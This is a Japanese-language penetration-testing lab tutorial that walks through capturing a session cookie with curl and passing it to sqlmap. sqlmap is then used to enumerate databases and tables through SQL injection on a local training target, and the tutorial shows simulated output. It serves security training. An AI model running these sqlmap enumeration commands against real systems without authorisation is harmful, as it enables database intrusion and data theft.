sqlmap で Cookie を使用した認証済みスキャンを管理する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

Web アプリケーションのペネトレーションテストでは、ユーザー認証を必要とする領域に多くの脆弱性が存在します。sqlmap のようなツールは、SQL インジェクションの検出と悪用プロセスを自動化する強力なオープンソースのペネトレーションテストツールですが、これらの保護されたセクションにアクセスする方法が必要です。この実験 (Lab) では、セッション Cookie を使用して認証済みスキャンを実行するプロセスを説明します。ブラウザからセッション Cookie を抽出し、それを使用して sqlmap に認証済みセッションを維持しながらスキャンを実行するように指示する方法を学びます。このテクニックは、最新の Web アプリケーションの包括的なセキュリティ評価に不可欠です。

対象 Web アプリケーションへのログイン

このステップでは、対象の Web アプリケーションへのログインをシミュレートします。この実験 (Lab) の目的のため、ローカルで実行されている認証が必要な Web アプリケーションがあると仮定します。curl を使用してログインリクエストをシミュレートし、セッション Cookie を取得します。実際のシナリオでは、通常、Web ブラウザ経由でログインします。

まず、架空のアプリケーションへのログイン成功をシミュレートしましょう。curl を使用して、ダミーの認証情報とともに POST リクエストを送信します。ログインが成功した場合、サーバーの応答には Set-Cookie ヘッダーが含まれます。

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

-c cookiejar.txt オプションは、受信した Cookie を cookiejar.txt という名前のファイルに書き込むように curl に指示します。このコマンドを実行すると、現在のディレクトリ (~/project) に cookiejar.txt という名前のファイルが作成されるはずです。

次に、セッション Cookie が含まれている cookiejar.txt ファイルの内容を表示しましょう。

cat cookiejar.txt

以下のような出力が表示され、セッション Cookie の情報が含まれているはずです。

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

ここで重要なのは PHPSESSID の値(例:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6)です。これがあなたのセッション Cookie です。

このステップでは、セッション Cookie 文字列を手動で抽出する方法を学びます。前のステップで curl が自動的に cookiejar.txt に保存しましたが、Web ブラウザ経由でログインする場合など、実際のシナリオでは手動で抽出する方法を理解することが重要です。

cookiejar.txt ファイルから、実際の Cookie 文字列を特定する必要があります。私たちの例では、それは PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 です。

grepawk を使用して、cookiejar.txt ファイルから Cookie 値のみを抽出できます。

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

このコマンドは、Cookie 文字列のみを出力します。例:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

これは、--cookie フラグを使用して sqlmap に提供する文字列です。次のステップで必要になるため、この文字列をコピーしてください。

セッション Cookie を抽出したら、それを使用して sqlmap で認証済みスキャンを実行できます。sqlmap--cookie フラグを使用すると、HTTP Cookie ヘッダーの値を指定できます。

この実験 (Lab) では、http://localhost:8080/authenticated_page.php?id=1 に脆弱なページが存在すると仮定します。このページにアクセスするには、PHPSESSID Cookie が存在する必要があります。

YOUR_COOKIE_STRING を、前のステップで抽出した実際の Cookie 文字列(例:PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6)に置き換えてください。

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

sqlmap コマンドの内訳を見てみましょう:

  • -u "http://localhost:8080/authenticated_page.php?id=1": ターゲット URL を指定します。
  • --cookie="YOUR_COOKIE_STRING": sqlmap にセッション Cookie を提供します。これは認証済みスキャンにおいて重要な部分です。
  • --batch: sqlmap を非対話モードで実行し、デフォルトの選択を受け入れます。
  • --forms: ターゲット URL 上のフォームを解析してテストするように sqlmap に指示します。
  • --level=1 --risk=1: 検出レベルとリスクを設定します。簡単なテストでは、レベル 1 とリスク 1 で十分です。

コマンドを実行します。sqlmap は指定された URL のスキャンを開始し、提供された Cookie を使用して認証済みセッションを維持します。

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

出力には、sqlmap の進行状況と検出された内容が表示されます。認証に関連するエラーなしにスキャンが進行した場合、sqlmap が Cookie を正常に使用したことを示します。

認証を必要とするページに対してスキャンを実行する

このステップでは、認証が必要であり、脆弱性がある可能性のあるページを特定して sqlmap コマンドを絞り込みます。sqlmap の動作を観察するために、少し詳細な出力を利用します。

authenticated_page.phpid パラメータを通じて SQL インジェクションに対して実際に脆弱であると仮定します。SQL インジェクションの悪用における一般的な最初のステップである、データベースを列挙するために --dbs フラグを使用します。

ここでも、YOUR_COOKIE_STRING を実際のセッション Cookie に置き換えてください。

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

--dbs フラグは、データベース名を列挙しようとします。sqlmap が Cookie を正常に使用できれば、ページにアクセスし、データベースの列挙に進むことができるはずです。

出力を観察してください。sqlmap がデータベース(例:information_schemamysqltestdb)を見つけたと報告した場合、認証済みスキャンが成功したことを確認できます。もし「injectable parameters found」または「page not accessible」と報告された場合、Cookie またはターゲット URL に問題がある可能性があります。

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

出力にデータベース名が表示されていることは、sqlmap が認証済みページにアクセスし、インジェクションテストを実行できたことを確認します。

認証済みユーザーとしてスキャンが実行されることを確認する

この最終ステップでは、sqlmap が実際に認証済みユーザーとして動作していることを、その動作と潜在的な検出結果を観察することで確認します。重要な指標は、sqlmap がログイン後にのみ表示されるページでパラメータにアクセスしてテストできるかどうかです。

前のステップで sqlmap がデータベースを正常に列挙できた場合、それは強力な確認となります。これをさらに確実にするために、検出されたデータベースのいずれか、例えば testdb からデータをダンプすることを試みることができます。

YOUR_COOKIE_STRING を実際のセッション Cookie に置き換えてください。

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

ここで、-D testdb はターゲットとするデータベースを指定し、--tables はそのデータベース内のテーブルを列挙しようとします。sqlmaptestdb からテーブルをリストできる場合、それは保護された領域内で動作していることを明確に証明します。

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

testdb データベースの下にテーブル名(例:usersproducts)が表示されている出力は、sqlmap が認証済みセッションを正常に維持し、アプリケーションの保護された領域内でより深い列挙を実行できたことを確認します。これは、認証済みスキャンに Cookie を使用することの有効性を示しています。

まとめ

この実験では、セッション Cookie を活用して sqlmap で認証済みスキャンを実行する方法を学びました。まず、Web アプリケーションへのログインをシミュレートし、セッション Cookie を抽出しました。次に、sqlmap--cookie フラグを使用してこの Cookie を提供し、ツールが認証を必要とするページにアクセスしてスキャンできるようにしました。最後に、sqlmap がアプリケーションの保護された領域内でデータベースやテーブルを列挙できることを観察することで、認証済みスキャンの成功を確認しました。このスキルは、多くの機能がログインの背後にある現代の Web アプリケーションの包括的なセキュリティ評価を実施するために不可欠です。